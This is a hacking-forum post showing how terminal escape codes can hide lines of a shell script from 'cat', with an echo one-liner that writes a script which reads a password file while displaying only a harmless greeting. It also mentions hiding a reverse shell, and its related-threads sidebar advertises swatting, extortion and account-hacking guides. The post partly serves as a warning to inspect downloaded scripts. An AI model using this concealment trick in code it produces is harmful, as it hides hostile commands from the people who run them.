Twitter: Hack someone by using 'cat <filename>'
by blackboar - Monday April 1, 2024 at 08:57 PM
#1
Definitely a case to use "strings <filename>" rather than 'cat <filename>'

Not really a hack, but if you downloaded a script/program and check it out using the unix command 'cat', be aware that folks can use certain characters to "hide" the code

So the idea: if they use "cat" instead of opening the file in vi or an editor then you can hide code, specifically a reverse shell or dumping the /etc/passwd file

****************

echo -e '#!/bin/sh\ncat /etc/password\nexit\n\033[A\033[Aecho "Hello dear reader, I am just a harmless script, safe to run me!"' >demo.sh

***********
So total click bait but still "kinda" accurate. Assuming I typed it correctly from the image I downloaded.

But when you cat "demo.sh" you only see the harmless bit.

$ cat demo.sh
#!/bin/sh
echo "Hello dear reader, I am just a harmless script, safe to run me!"
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  How To Hack WhatsApp Of Your Friend By Sending A Single Link HackingRealm 2,669 329,479 10-28-2026, 09:05 AM
Last Post: Gwp2k22
  Ways to f**k up someone's life / make their life a living hell? Piplup 2,335 236,917 10-27-2026, 09:41 PM
Last Post: misoo
  How To SWAT Someone 101 Piplup 241 23,206 10-24-2026, 11:59 PM
Last Post: 0x458
  ❤️ How to extort someone enough to make money ❤️ Piplup 279 21,189 10-17-2026, 04:01 PM
Last Post: HT1980
  Hack any cctv camera kamis086 325 34,359 09-26-2026, 05:03 PM
Last Post: LainTheResistor



 Users browsing this thread: 1 Guest(s)